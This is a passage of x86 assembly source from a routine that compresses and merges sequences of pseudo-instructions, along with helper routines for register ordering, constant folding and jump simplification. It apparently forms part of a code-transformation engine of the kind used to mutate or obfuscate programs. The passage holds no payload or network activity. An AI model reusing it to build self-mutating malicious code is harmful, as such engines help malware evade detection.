[esi+1], eax mov eax, [edi+7] mov [esi+7], eax @@Double_Next02_SetOP: mov eax, [edi] and eax, 0F8h add eax, 1 jmp @@Double_Next_SetInstruction @@Double_Next02_MergeCheck: mov eax, [edi+7] mov [esi+1], eax jmp @@Double_Next02_SetOP @@Double_Next02_PushReg: mov eax, [esi+7] mov [esi+1], eax mov eax, 50h jmp @@Double_Next_SetInstruction @@Double_Next03: cmp eax, 0C3h jnz @@Double_Next04 mov eax, [edi] and eax, 0FFh cmp eax, 00h+80h jb @@Double_End cmp eax, 4Ch+80h jbe @@Double_Next_OPRegReg jmp @@Double_End @@Double_Next04: cmp eax, 44h jnz @@Double_Next05 mov eax, [edi] and eax, 0FFh cmp eax, 51h jz @@Double_Next04_PushImm cmp eax, 4Ch ja @@Double_Next05 and eax, 7 cmp eax, 2 jnz @@Double_Next05 @@Double_Next_Merge_MOV_OP: mov eax, [edi+7] mov ebx, [esi+1] and ebx, 0FFFFFF00h and eax, 0FFh add eax, ebx mov [esi+1], eax mov eax, [edi] and eax, 0F8h jmp @@Double_Next_SetInstruction @@Double_Next04_PushImm: mov eax, 68h jmp @@Double_Next_SetInstruction @@Double_Next05: mov eax, [esi] and eax, 0FFh cmp eax, 44h+80h jnz @@Double_Next06 mov eax, [edi] and eax, 0FFh cmp eax, 00h+80h jb @@Double_Next06 cmp eax, 4Ch+80h ja @@Double_Next06 and eax, 7 cmp eax, 2 jnz @@Double_Next06 jmp @@Double_Next_Merge_MOV_OP @@Double_Next06: mov eax, [esi] and eax, 0FFh cmp eax, 59h jnz @@Double_Next_NoMem mov eax, [edi] and eax, 0FFh cmp eax, 42h jz @@Double_Next06_POPReg cmp eax, 4Fh jz @@Double_Next06_POPMem cmp eax, 51h jz @@Double_Next_SetDoubleNOP cmp eax, 0EBh jnz @@Double_Next_NoMem mov eax, 0FEh jmp @@Double_Next_SetInstruction @@Double_Next06_POPReg: mov eax, [edi+7] mov [esi+1], eax mov eax, 58h jmp @@Double_Next_SetInstruction @@Double_Next06_POPMem: mov ebx, [edi+7] mov eax, [ebx+1] mov [esi+1], eax mov eax, [ebx+3] mov [esi+3], eax jmp @@Double_Next_SetNOP @@Double_Next_SetDoubleNOP: mov eax, 0FFh jmp @@Double_Next_SetInstruction @@Double_Next_NoMem: mov eax, [esi] and eax, 0FFh cmp eax, 40h jnz @@Double_Next07 mov eax, [edi] and eax, 0FFh cmp eax, 42h+80h jz @@Double_Next06_MaybeMOVZX cmp eax, 1 jnz @@Double_Next07 mov eax, [esi+1] and eax, 0FFh mov ebx, [edi+7] and ebx, 0FFh cmp eax, ebx jnz @@Double_Next07 mov eax, [esi+7] mov [esi+3], eax mov eax, [esi+1] mov [esi+7], eax mov eax, [edi+1] and eax, 0FFh mov ebx, [esi+1] and ebx, 0FFFFFF00h add eax, ebx mov [esi+1], eax @@Double_Next06_SetLEA: mov eax, [esi+2] and eax, 0FFFFFF00h add eax, 8 mov [esi+2], eax mov eax, 0FCh jmp @@Double_Next_SetInstruction @@Double_Next06_MaybeMOVZX: mov eax, [esi+7] or eax, eax jnz @@Double_Next07 mov eax, [esi+1] and eax, 0FFh mov ebx, [edi+7] and ebx, 0FFh cmp eax, ebx jnz @@Double_Next07 mov ebx, [edi+1] and ebx, 0FFh cmp eax, ebx jz @@Double_Next07 mov ebx, [edi+2] and ebx, 0Fh cmp eax, ebx jz @@Double_Next07 mov [esi+7], eax mov eax, [edi+1] mov [esi+1], eax mov eax, [edi+3] mov [esi+3], eax mov eax, 0F8h jmp @@Double_Next_SetInstruction @@Double_Next07: mov eax, [esi] and eax, 0FFh cmp eax, 41h jnz @@Double_Next08 mov eax, [edi] and eax, 0FFh or eax, eax jz @@Double_Next07_LEA01 cmp eax, 1 jnz @@Double_Next08 mov eax, [esi+7] and eax, 0FFh mov ebx, [edi+7] and ebx, 0FFh cmp eax, ebx jnz @@Double_Next08 mov eax, [edi+1] mov [esi+2], eax xor eax, eax mov [esi+3], eax mov eax, 0FCh jmp @@Double_Next_SetInstruction @@Double_Next07_LEA01: mov eax, [esi+7] and eax, 0FFh mov ebx, [edi+1] and ebx, 0FFh cmp eax, ebx jnz @@Double_Next08 mov eax, [edi+7] mov [esi+3], eax jmp @@Double_Next06_SetLEA @@Double_Next08: mov eax, [esi] and eax, 0FFh or eax, eax jnz @@Double_Next09 mov eax, [edi] and eax, 0FFh cmp eax, 01h jnz @@Double_Next09 mov eax, [esi+1] and eax, 0FFh mov ebx, [edi+7] and ebx, 0FFh cmp eax, ebx jnz @@Double_Next09 mov eax, [edi+1] mov [esi+2], eax mov eax, [esi+7] mov [esi+3], eax mov eax, [esi+1] mov [esi+7], eax mov eax, 0FCh jmp @@Double_Next_SetInstruction @@Double_Next09: mov eax, [esi] and eax, 0FFh cmp eax, 01h jnz @@Double_Next10 mov eax, [edi] and eax, 0FFh or eax, eax jnz @@Double_Next10 mov eax, [esi+7] cmp al, [edi+1] jnz @@Double_Next10 mov eax, [esi+1] mov [esi+2], al mov eax, [esi+7] mov [esi+1], al mov eax, [edi+7] mov [esi+3], eax mov eax, 0FCh jmp @@Double_Next_SetInstruction @@Double_Next10: xor eax, eax mov al, [esi] cmp eax, 4Ch ja @@Double_Next11 mov al, [edi] cmp eax, 4Ch ja @@Double_Next11 mov eax, [esi] and eax, 7 cmp eax, 4 jz @@Double_Next10_OPMemImm or eax, eax jnz @@Double_Next11 @@Double_Next10_OPRegImm: mov eax, [edi] and eax, 7 or eax, eax jnz @@Double_Next11 mov eax, [esi+1] cmp al, [edi+1] jnz @@Double_Next11 xor ebx, ebx @@Double_Next_CalculateOperation: push ebx mov ecx, [esi+7] mov edx, [edi+7] @@Double_Next_CalculateOperation_2: mov eax, [edi] and eax, 78h mov ebx, eax mov eax, [esi] and eax, 78h call CalculateOperation pop ebx cmp eax, 0FEh jz @@Double_End cmp eax, 0FFh jz @@Double_Next_SetNOPAt1st mov [esi+7], ecx add eax, ebx jmp @@Double_Next_SetInstruction @@Double_Next_SetNOPAt1st: mov eax, 0FFh mov [esi], al jmp @@EndCompressed @@Double_Next10_OPMemImm: mov eax, [edi] and eax, 7 cmp eax, 4 jnz @@Double_Next11 mov eax, [esi+1] cmp eax, [edi+1] jnz @@Double_Next11 mov eax, [esi+3] cmp eax, [edi+3] jnz @@Double_Next11 mov ebx, 4 jmp @@Double_Next_CalculateOperation @@Double_Next11: xor eax, eax mov al, [esi] cmp eax, 00h+80h jb @@Double_Next12 cmp eax, 4Ch+80h ja @@Double_Next12 mov al, [edi] cmp eax, 00h+80h jb @@Double_Next12 cmp eax, 4Ch+80h ja @@Double_Next12 mov eax, [esi] and eax, 7 cmp eax, 4 jz @@Double_Next11_OPMemImm_8b or eax, eax jnz @@Double_Next12 @@Double_Next11_OPRegImm_8b: mov eax, [edi] and eax, 7 or eax, eax jnz @@Double_Next12 mov ebx, 80h @@Double_Next11_CalculateOperation_8b: push ebx xor eax, eax mov al, [esi+7] mov ecx, eax mov al, [edi+7] mov edx, eax jmp @@Double_Next_CalculateOperation_2 @@Double_Next11_OPMemImm_8b: mov eax, [edi] and eax, 7 cmp eax, 4 jnz @@Double_Next12 mov eax, [esi+1] cmp eax, [edi+1] jnz @@Double_Next12 mov eax, [esi+3] cmp eax, [edi+3] jnz @@Double_Next12 mov ebx, 84h jmp @@Double_Next11_CalculateOperation_8b @@Double_Next12: xor eax, eax mov al, [esi] cmp eax, 0FCh jnz @@Double_Next13 mov al, [edi] cmp eax, 01h jz @@Double_Next12_MergeLEAADDReg or eax, eax jnz @@Double_Next13 @@Double_Next12_MergeLEAADD: mov eax, [esi+7] cmp al, [edi+1] jnz @@Double_Next13 mov eax, [edi+7] add [esi+3], eax jmp @@Double_Next_SetNOP @@Double_Next12_MergeLEAADDReg: mov eax, [esi+7] cmp al, [edi+7] jnz @@Double_Next13 mov eax, 8 cmp al, [esi+1] jz @@Double_Next12_SetFirstReg cmp al, [esi+2] jz @@Double_Next12_SetSecondReg mov eax, [edi+1] cmp al, [esi+2] jz @@Double_Next12_AddScalar cmp al, [esi+1] jnz @@Double_Next13 mov eax, [esi+2] cmp al, 40h jae @@Double_Next13 push eax mov eax, [esi+1] add eax, 40h mov [esi+2], al pop eax mov [esi+1], al jmp @@Double_Next_SetNOP @@Double_Next12_AddScalar: mov eax, [esi+2] add eax, 40h mov [esi+2], al jmp @@Double_Next_SetNOP @@Double_Next12_SetFirstReg: mov eax, [edi+1] mov [esi+1], al jmp @@Double_Next_SetNOP @@Double_Next12_SetSecondReg: mov eax, [edi+1] mov [esi+2], al jmp @@Double_Next_SetNOP @@Double_Next13: xor eax, eax mov al, [esi] cmp eax, 4Fh jnz @@Double_Next14 mov al, [edi] cmp eax, 4Fh jz @@Double_Next13_MergeMOVs cmp eax, 4Ch ja @@Double_Next13_NotOPRegMem @@Double_Next13_OPRegMem_2: and eax, 7 cmp eax, 2 jz @@Double_Next13_OPRegMem mov al, [edi] jmp @@Double_Next13_NotOPRegMem2 @@Double_Next13_NotOPRegMem: cmp eax, 00h+80h jb @@Double_Next13_NotOPRegMem2 cmp eax, 4Ch+80h jbe @@Double_Next13_OPRegMem_2 @@Double_Next13_NotOPRegMem2: cmp eax, 43h jz @@Double_Next13_MOVMemReg cmp eax, 0F6h jz @@Double_Next13_MOVMemReg cmp eax, 44h jz @@Double_Next13_MOVMemImm cmp eax, 0EAh jz @@Double_Next13_CALLMem cmp eax, 0EBh jnz @@Double_Next14 @@Double_Next13_JMPMem: @@Double_Next13_CALLMem: @@Double_Next13_OPRegMem: mov ebx, [esi+7] mov eax, [ebx+1] cmp eax, [edi+1] jnz @@Double_Next14 mov eax, [ebx+3] cmp eax, [edi+3] jnz @@Double_Next14 mov eax, [esi+1] mov [edi+1], eax mov eax, [esi+3] mov [edi+3], eax jmp @@Double_Next_SetNOPAt1st @@Double_Next13_MergeMOVs: mov ebx, [esi+7] mov eax, [ebx+1] cmp eax, [edi+1] jnz @@Double_Next14 mov eax, [ebx+3] cmp eax, [edi+3] jnz @@Double_Next14 mov eax, [edi+7] mov [esi+7], eax mov [eax+7], esi jmp @@Double_Next_SetNOP @@Double_Next13_MOVMemReg: @@Double_Next13_MOVMemImm: mov ebx, [esi+7] mov eax, [ebx+1] cmp eax, [edi+1] jnz @@Double_Next14 mov eax, [ebx+3] cmp eax, [edi+3] jz @@Double_Next_SetNOPAt1st @@Double_Next14: xor eax, eax mov al, [esi] cmp eax, 70h jb @@Double_Next15 cmp eax, 7Fh ja @@Double_Next15 mov al, [edi] cmp eax, 0E9h jz @@Double_Next14_CheckJMP cmp eax, 70h jb @@Double_Next15 cmp eax, 7Fh ja @@Double_Next15 mov eax, [edi+1] cmp eax, [esi+1] jnz @@Double_Next15 mov eax, [esi] and eax, 0Fh mov ebx, eax mov eax, [edi] and eax, 0Fh call GetRealCheck cmp eax, 0FFh jz @@Double_End add eax, 70h cmp eax, 0E9h jz @@Double_Next32_JMP jmp @@Double_Next_SetInstruction @@Double_Next14_CheckJMP: mov eax, [edi+1] cmp eax, [esi+1] jz @@Double_Next_SetNOPAt1st jmp @@Double_End @@Double_Next15: @@Double_Next16: @@Double_Next17: xor eax, eax mov al, [esi] cmp eax, 0E0h jnz @@Double_Next18 mov ebx, 0E4h xor ecx, ecx mov edx, 1 @@Double_Next_Check_NOT_OP: xor eax, eax mov al, [edi] cmp eax, ebx jz @@Double_Next17_ADDReg cmp eax, ecx jnz @@Double_End @@Double_Next17_NEGReg: mov eax, [esi+1] cmp al, [edi+1] jnz @@Double_End @@Double_Next17_NEGReg_2: test ebx, 2 jz @@Double_Next17_Get32 xor eax, eax mov al, [edi+7] cmp eax, 80h jb @@Double_Next17_Cont00 add eax, 0FFFFFF00h jmp @@Double_Next17_Cont00 @@Double_Next17_Get32: mov eax, [edi+7] @@Double_Next17_Cont00: cmp eax, edx jnz @@Double_End mov eax, ebx jmp @@Double_Next_SetInstruction @@Double_Next17_ADDReg: mov eax, [esi+1] cmp al, [edi+1] jnz @@Double_End @@Double_Next17_ADDReg_2: mov eax, edx mov [esi+7], eax mov eax, ecx jmp @@Double_Next_SetInstruction @@Double_Next18: cmp eax, 0E2h jnz @@Double_Next19 mov ebx, 0E6h mov ecx, 80h mov edx, 1 jmp @@Double_Next_Check_NOT_OP @@Double_Next19: cmp eax, 0E4h jnz @@Double_Next20 mov ebx, 0E0h xor ecx, ecx mov edx, -1 jmp @@Double_Next_Check_NOT_OP @@Double_Next20: cmp eax, 0E6h jnz @@Double_Next21 mov ebx, 0E2h mov ecx, 80h mov edx, -1 jmp @@Double_Next_Check_NOT_OP @@Double_Next21: cmp eax, 0E1h jnz @@Double_Next22 mov ebx, 0E5h mov ecx, 4 mov edx, 1 @@Double_Next_Check_NOT_OP_Mem: xor eax, eax mov al, [edi] cmp eax, ebx jz @@Double_Next21_ADDMem cmp eax, ecx jnz @@Double_End @@Double_Next21_NEGMem: mov eax, [esi+1] cmp eax, [edi+1] jnz @@Double_End mov eax, [esi+3] cmp eax, [edi+3] jnz @@Double_End xor eax, eax jmp @@Double_Next17_NEGReg_2 @@Double_Next21_ADDMem: mov eax, [esi+1] cmp eax, [edi+1] jnz @@Double_End mov eax, [esi+3] cmp eax, [edi+3] jnz @@Double_End xor eax, eax jmp @@Double_Next17_ADDReg_2 @@Double_Next22: cmp eax, 0E3h jnz @@Double_Next23 mov ebx, 0E7h mov ecx, 84h mov edx, 1 jmp @@Double_Next_Check_NOT_OP_Mem @@Double_Next23: cmp eax, 0E5h jnz @@Double_Next24 mov ebx, 0E1h mov ecx, 4 mov edx, -1 jmp @@Double_Next_Check_NOT_OP_Mem @@Double_Next24: cmp eax, 0E7h jnz @@Double_Next25 mov ebx, 0E3h mov ecx, 84h mov edx, -1 jmp @@Double_Next_Check_NOT_OP_Mem @@Double_Next25: @@Double_Next26: @@Double_Next27: @@Double_Next28: @@Double_Next29: cmp eax, 0EAh jnz @@Double_Next30 @@Double_Next29_CheckAPICALL_STORE: mov al, [edi] cmp eax, 43h jnz @@Double_End mov al, [edi+7] or eax, eax jnz @@Double_End mov eax, 0F6h mov [edi], al xor eax, eax mov [edi+7], eax jmp @@EndCompressed @@Double_Next30: cmp eax, 0ECh jz @@Double_Next29_CheckAPICALL_STORE @@Double_Next31: cmp eax, 42h jnz @@Double_Next32 mov eax, [edi] and eax, 0FFh cmp eax, 20h jz @@Double_Next31_MaybeMOVZX mov al, [esi+7] cmp eax, 2 ja @@Double_Next32 cmp al, [edi+1] jnz @@Double_Next32 mov al, [edi] cmp eax, 0ECh jnz @@Double_Next32 sub eax, 2 jmp @@Double_Next_SetInstruction @@Double_Next31_MaybeMOVZX: mov eax, [edi+7] cmp eax, 0FFh jnz @@Double_Next32 mov eax, [esi+7] and eax, 0FFh mov ebx, [edi+1] and ebx, 0FFh cmp eax, ebx jnz @@Double_Next32 mov eax, [esi+1] and eax, 0FFh cmp eax, ebx jz @@Double_Next32 mov eax, [esi+2] and eax, 0Fh cmp eax, ebx jz @@Double_Next32 mov eax, 0F8h jmp @@Double_Next_SetInstruction @@Double_Next32: xor eax, eax mov al, [esi] cmp eax, 39h jnz @@Double_Next33 @@Double_Next32_Common: mov al, [edi] cmp eax, 70h jb @@Double_End cmp eax, 7Fh ja @@Double_End mov al, [esi+1] mov ebx, eax mov al, [esi+7] cmp eax, ebx jnz @@Double_End mov eax, [edi] and eax, 07h cmp eax, 1 jz @@Double_Next32_JMP cmp eax, 6 jz @@Double_Next32_JMP mov eax, [edi] and eax, 0Fh cmp eax, 2 jbe @@Double_Next32_NOP cmp eax, 4 jbe @@Double_Next32_JMP cmp eax, 0Ah jz @@Double_Next32_JMP cmp eax, 0Dh jz @@Double_Next32_JMP @@Double_Next32_NOP: mov eax, 0FFh mov [edi], eax jmp @@EndCompressed @@Double_Next32_JMP: mov eax, 0E9h mov [edi], al mov edx, edi @@Double_Next32_EliminateNonReachableCode: add edx, 10h cmp edx, [ebp+AddressOfLastInstruction] jae @@EndCompressed mov al, [edx+0Bh] or eax, eax jnz @@EndCompressed mov eax, 0FFh mov [edx], eax jmp @@Double_Next32_EliminateNonReachableCode @@Double_Next33: cmp eax, 39h+80h jz @@Double_Next32_Common @@Double_End: @@Check_Triple: mov edx, esi mov esi, edi call IncreaseEIP cmp edi, [ebp+AddressOfLastInstruction] jz @@EndNoCompressed xor eax, eax mov al, [edi+0Bh] or eax, eax jnz @@EndNoCompressed @@Triple_Next00: mov al, [edx] cmp eax, 43h jnz @@Triple_Next01 mov eax, [edx+1] cmp eax, [esi+1] jnz @@Triple_Next01 mov eax, [edx+3] cmp eax, [esi+3] jnz @@Triple_Next01 mov eax, [edi] cmp al, 42h jz @@Triple_Next00_Constr00 cmp al, 70h jb @@Triple_Next01 cmp al, 7Fh ja @@Triple_Next01 mov eax, [esi] and eax, 0F8h or eax, eax jz @@Triple_Next00_Maybe01 cmp eax, 28h jz @@Triple_Next00_Maybe01 cmp eax, 38h jz @@Triple_Next00_Maybe01 cmp eax, 48h jz @@Triple_Next00_Maybe01 cmp eax, 20h jnz @@Triple_End @@Triple_Next00_Maybe01: xor ebx, ebx @@Triple_Next00_CheckCMPTEST: mov eax, [esi] and eax, 07Fh cmp eax, 48h jb @@Triple_Next00_CheckCMPTEST_00 and eax, 7 cmp eax, 2 jz @@Triple_Next00_CMPTESTRegReg jmp @@Triple_Next00_CheckCMPTEST_01 @@Triple_Next00_CheckCMPTEST_00: and eax, 7 cmp eax, 3 jz @@Triple_Next00_CMPTESTRegReg @@Triple_Next00_CheckCMPTEST_01: cmp eax, 4 jnz @@Triple_End @@Triple_Next00_CMPTESTRegImm: mov eax, [edx+7] mov [esi+1], al @@Triple_Next00_SET_CMPTEST: mov eax, [esi] and eax, 78h cmp eax, 48h jz @@Triple_Next00_SetInstruction cmp eax, 20h jz @@Triple_Next00_Cont80 cmp eax, 38h jz @@Triple_Next00_SetInstruction or eax, eax jz @@Triple_Next00_NegateImm @@Triple_Next00_SetCMP: mov eax, 38h jmp @@Triple_Next00_SetInstruction @@Triple_Next00_NegateImm: mov eax, [esi+7] neg eax mov [esi+7], eax jmp @@Triple_Next00_SetCMP @@Triple_Next00_Cont80: mov eax, 48h @@Triple_Next00_SetInstruction: add eax, ebx mov [esi], al mov eax, 0FFh mov [edx], al jmp @@EndCompressed @@Triple_Next00_CMPTESTRegReg: mov eax, [esi] and eax, 78h or eax, eax jz @@Triple_End mov eax, [esi+7] mov [esi+1], al mov eax, [edx+7] mov [esi+7], al add ebx, 1 jmp @@Triple_Next00_SET_CMPTEST @@Triple_Next00_Constr00: mov eax, [esi] cmp al, 4Ch ja @@Triple_Next01 xor ebx, ebx @@Triple_Next00_Common: mov eax, [esi] and eax, 78h cmp eax, 48h jb @@Triple_Next00_Common_00 mov eax, [esi] and eax, 7 cmp eax, 2 jz @@Triple_Next00_Maybe00 jmp @@Triple_Next00_Common_01 @@Triple_Next00_Common_00: mov eax, [esi] and al, 7 cmp al, 3 jz @@Triple_Next00_Maybe00 @@Triple_Next00_Common_01: cmp al, 4 jnz @@Triple_End @@Triple_Next00_Maybe00: mov eax, [edx+1] cmp eax, [esi+1] jnz @@Triple_End cmp eax, [edi+1] jnz @@Triple_End mov eax, [edx+3] cmp eax, [esi+3] jnz @@Triple_End cmp eax, [edi+3] jnz @@Triple_End mov eax, [edx+7] cmp al, [edi+7] jnz @@Triple_End mov eax, [esi] and eax, 78h cmp eax, 48h jb @@Triple_Next00_00 mov eax, [esi] and eax, 7 cmp eax, 2 jz @@Triple_Next00_Maybe_OPRegReg jmp @@Triple_Next00_01 @@Triple_Next00_00: mov eax, [esi] and eax, 7 cmp eax, 3 jz @@Triple_Next00_Maybe_OPRegReg @@Triple_Next00_01: mov eax, [edx+7] mov [edx+1], al mov eax, [esi+7] mov [edx+7], eax mov eax, [esi] and eax, 78h add eax, ebx @@Triple_Next_SetInstruction: mov [edx], al @@Triple_Next_SetNOP: mov eax, 0FFh mov [esi], al mov [edi], al jmp @@EndCompressed @@Triple_Next00_Maybe_OPRegReg: mov eax, [esi+7] mov [edx+1], eax mov eax, [edi+7] mov [edx+7], eax mov eax, [esi] and eax, 0F8h add eax, 1 jmp @@Triple_Next_SetInstruction @@Triple_Next01: mov eax, [edx] cmp al, 43h+80h jnz @@Triple_Next02 mov eax, [edx+1] cmp eax, [esi+1] jnz @@Triple_Next02 mov eax, [edx+3] cmp eax, [esi+3] jnz @@Triple_Next02 mov eax, [edi] cmp al, 42h+80h jz @@Triple_Next01_Constr00 cmp al, 70h jb @@Triple_Next02 cmp al, 7Fh ja @@Triple_Next02 mov eax, [esi] and eax, 0F8h cmp eax, 00h+80h jz @@Triple_Next01_Maybe01 cmp eax, 28h+80h jz @@Triple_Next01_Maybe01 cmp eax, 38h+80h jz @@Triple_Next01_Maybe01 cmp eax, 48h+80h jz @@Triple_Next01_Maybe01 cmp eax, 20h+80h jnz @@Triple_End @@Triple_Next01_Maybe01: mov ebx, 80h jmp @@Triple_Next00_CheckCMPTEST @@Triple_Next01_Constr00: mov ebx, 80h mov eax, [esi] cmp al, 4Ch+80h ja @@Triple_Next02 cmp al, 00h+80h jae @@Triple_Next00_Common @@Triple_Next02: mov eax, [edx] cmp al, 4Fh jnz @@Triple_Next03 mov eax, [edi] cmp al, 70h jb @@Triple_Next02_ContCheck cmp al, 7Fh ja @@Triple_Next02_ContCheck mov ebx, [edx+7] mov eax, [ebx+1] cmp eax, [esi+1] jnz @@Triple_End mov eax, [ebx+3] cmp eax, [esi+3] jnz @@Triple_End mov eax, [esi] and eax, 78h cmp eax, 20h jz @@Triple_Next02_CheckCMPTESTMemReg cmp eax, 28h jz @@Triple_Next02_CheckCMPTESTMemReg cmp eax, 38h jz @@Triple_Next02_CheckCMPTESTMemReg cmp eax, 48h jnz @@Triple_Next03 @@Triple_Next02_CheckCMPTESTRegMem: @@Triple_Next02_CheckCMPTESTMemReg: mov eax, [edx+1] mov [esi+1], eax mov eax, [edx+3] mov [esi+3], eax mov eax, 0FFh mov [edx], eax mov eax, [esi] and eax, 78h cmp eax, 38h jz @@EndCompressed cmp eax, 48h jz @@EndCompressed cmp eax, 20h jz @@Triple_Next02_SetTEST mov ebx, 10h @@Triple_Next02_ConvertInstruction: mov eax, [esi] add eax, ebx mov [esi], eax jmp @@EndCompressed @@Triple_Next02_SetTEST: mov ebx, 28h jmp @@Triple_Next02_ConvertInstruction @@Triple_Next02_ContCheck: cmp al, 4Fh jnz @@Triple_Next03 mov eax, [esi] cmp al, 4Ch jbe @@Triple_Next02_CommonOperation cmp al, 00h+80h jb @@Triple_Next03 cmp al, 4Ch+80h ja @@Triple_Next03 @@Triple_Next02_CommonOperation: cmp eax, 0F6h jz @@Triple_Next02_OPMemReg and eax, 78h cmp eax, 48h jb @@Triple_Next02_00 mov eax, [esi] and eax, 7 cmp eax, 2 jz @@Triple_Next02_OPMemReg jmp @@Triple_Next02_01 @@Triple_Next02_00: mov eax, [esi] and eax, 7 cmp eax, 3 jz @@Triple_Next02_OPMemReg @@Triple_Next02_01: cmp eax, 4 jnz @@Triple_End @@Triple_Next02_OPMemImm: @@Triple_Next02_OPMemReg: mov ebx, [edx+7] mov eax, [ebx+1] cmp eax, [edi+1] jnz @@Triple_End cmp eax, [esi+1] jnz @@Triple_End mov eax, [ebx+3] cmp eax, [edi+3] jnz @@Triple_End cmp eax, [esi+3] jnz @@Triple_End mov ebx, [edi+7] mov eax, [ebx+1] cmp eax, [edx+1] jnz @@Triple_End mov eax, [ebx+3] cmp eax, [edx+3] jnz @@Triple_End mov eax, [edx+1] mov [esi+1], eax mov eax, [edx+3] mov [esi+3], eax @@Triple_Next_SetNOP_1_3: mov eax, 0FFh mov [edx], al mov [edi], al jmp @@EndCompressed @@Triple_Next03: mov eax, [edx] cmp al, 44h jnz @@Triple_Next04 mov eax, [edi] cmp al, 42h jz @@Triple_Next03_Constr00 cmp al, 70h jb @@Triple_Next04 cmp al, 7Fh ja @@Triple_Next04 mov eax, [esi] @@Triple_Next03_Check_CMP_TEST: cmp al, 3Ah jz @@Triple_Next03_CMPRegImm cmp al, 4Ah jnz @@Triple_End @@Triple_Next03_CMPRegImm: @@Triple_Next03_TESTRegImm: mov eax, [esi] and eax, 0F8h mov [edx], al mov eax, [esi+7] mov [edx+1], al mov eax, 0FFh mov [esi], al jmp @@EndCompressed @@Triple_Next03_Constr00: mov eax, [esi] cmp eax, 0F6h jz @@Triple_Next03_Common_F6 cmp al, 4Ch ja @@Triple_Next04 @@Triple_Next03_Common: and eax, 78h cmp eax, 48h jb @@Triple_Next03_00 mov eax, [esi] and eax, 7 cmp eax, 2 jz @@Triple_Next03_Common_F6 jmp @@Triple_End @@Triple_Next03_00: mov eax, [esi] and eax, 7 cmp eax, 3 jnz @@Triple_End @@Triple_Next03_Common_F6: mov eax, [edx+1] cmp eax, [esi+1] jnz @@Triple_End cmp eax, [edi+1] jnz @@Triple_End mov eax, [edx+3] cmp eax, [esi+3] jnz @@Triple_End cmp eax, [edi+3] jnz @@Triple_End mov eax, [esi+7] mov [edx+1], eax mov eax, [esi] and eax, 0F8h jmp @@Triple_Next_SetInstruction @@Triple_Next04: mov eax, [edx] cmp al, 44h+80h jnz @@Triple__Next04 mov eax, [edi] cmp al, 42h+80h jz @@Triple_Next04_Constr00 cmp al, 70h jb @@Triple__Next04 cmp al, 7Fh ja @@Triple__Next04 mov eax, [esi] sub al, 80h jmp @@Triple_Next03_Check_CMP_TEST @@Triple_Next04_Constr00: mov eax, [esi] cmp al, 00h+80h jb @@Triple__Next04 cmp al, 4Ch+80h jbe @@Triple_Next03_Common @@Triple__Next04: @@Triple_End: jmp @@EndNoCompressed @@EndCompressed: mov eax, 1 pop edi ret @@EndNoCompressed: xor eax, eax pop edi ret ShrinkThisInstructions endp OrderRegs proc push edx mov eax, [edi+1] and eax, 0FFh cmp eax, 8 jnz @@_Next mov eax, [edi+2] and eax, 0FFh cmp eax, 7 ja @@_End mov edx, [edi+1] and edx, 0FFFFFF00h add eax, edx mov [edi+1], eax mov eax, [edi+2] and eax, 0FFFFFF00h add eax, 8 mov [edi+2], eax @@_End: pop edx ret @@_Next: mov eax, [edi+2] mov edx, [edi+1] and eax, 0FFh and edx, 0FFh cmp eax, edx ja @@_End push eax mov edx, [edi+2] mov eax, [edi+1] and eax, 0FFh and edx, 0FFFFFF00h add eax, edx mov [edi+2], eax pop eax mov edx, [edi+1] and edx, 0FFFFFF00h add eax, edx mov [edi+1], eax pop edx ret OrderRegs endp CalculateOperation proc and ebx, 0FFh and eax, 0FFh cmp ebx, 40h jz @@Eliminate1st cmp eax, 40h jz @@MOV or eax, eax jz @@ADD cmp eax, 8 jz @@OR cmp eax, 20h jz @@AND cmp eax, 28h jz @@SUB cmp eax, 30h jz @@XOR cmp eax, 38h jz @@Eliminate1st cmp eax, 48h jnz @@Eliminate1st jmp @@NoCompression @@ADD: or ebx, ebx jz @@ADD_ADD cmp ebx, 28h jz @@ADD_SUB jmp @@NoCompression @@OR: cmp ebx, 8 jz @@OR_OR jmp @@NoCompression @@AND: cmp ebx, 20h jz @@AND_AND jmp @@NoCompression @@SUB: or ebx, ebx jz @@SUB_ADD cmp ebx, 28h jnz @@NoCompression @@SUB_SUB: neg ecx sub ecx, edx xor eax, eax ret @@SUB_ADD: sub edx, ecx mov ecx, edx xor eax, eax ret @@XOR: cmp ebx, 30h jz @@XOR_XOR jmp @@NoCompression @@MOV: or ebx, ebx jz @@MOV_ADD cmp ebx, 8 jz @@MOV_OR cmp ebx, 20h jz @@MOV_AND cmp ebx, 28h jz @@MOV_SUB cmp ebx, 30h jz @@MOV_XOR @@NoCompression: mov eax, 0FEh ret @@Eliminate1st: mov eax, 0FFh ret @@ADD_ADD: @@MOV_ADD: add ecx, edx ret @@OR_OR: @@MOV_OR: or ecx, edx ret @@AND_AND: @@MOV_AND: and ecx, edx ret @@ADD_SUB: @@MOV_SUB: sub ecx, edx ret @@XOR_XOR: @@MOV_XOR: xor ecx, edx ret CalculateOperation endp GetRealCheck proc cmp eax, ebx jb @@1 mov ecx, ebx mov edx, eax jmp @@2 @@1: mov ecx, eax mov edx, ebx @@2: test ecx, 1 ; ECX <= EDX jnz @@NoUnconditional sub edx, 1 cmp ecx, edx jz @@UnconditionalJump add edx, 1 @@NoUnconditional: cmp ecx, edx jz @@ReturnCurrent cmp ecx, 2 jz @@Check2_x cmp ecx, 3 jz @@Check3_x cmp ecx, 4 jz @@Check4_x cmp ecx, 5 jnz @@NoOption @@Check5_x: cmp edx, 7 jz @@SetNE cmp edx, 6 jz @@UnconditionalJump jmp @@NoOption @@Check2_x: cmp edx, 4 jb @@NoOption cmp edx, 7 ja @@NoOption test edx, 1 jnz @@SetNE jmp @@SetBE @@Check3_x: cmp edx, 4 jz @@SetNB cmp edx, 7 jz @@SetNB cmp edx, 6 jz @@UnconditionalJump jmp @@NoOption @@Check4_x: cmp edx, 6 jz @@SetBE cmp edx, 7 jnz @@NoOption @@SetNB: mov eax, 3 ret @@SetNE: mov eax, 5 ret @@SetBE: mov eax, 6 ret @@NoOption: mov eax, 0FFh @@ReturnCurrent: ret @@UnconditionalJump: mov eax, 79h ret GetRealCheck endp CheckIfInstructionUsesMem proc cmp eax, 4Eh jbe @@Common cmp eax, 4Fh jz @@UsesMem cmp eax, 70h jb @@CheckLastBit cmp eax, 80h jb @@NoMem cmp eax, 0CEh jbe @@Common cmp eax, 0E7h jbe @@CheckLastBit cmp eax, 0EAh jz @@UsesMem cmp eax, 0EBh jz @@UsesMem cmp eax, 0F1h jz @@UsesMem cmp eax, 0F3h jz @@UsesMem cmp eax, 0F6h jz @@UsesMem cmp eax, 0F7h jz @@UsesMem cmp eax, 0F8h jz @@UsesMem cmp eax, 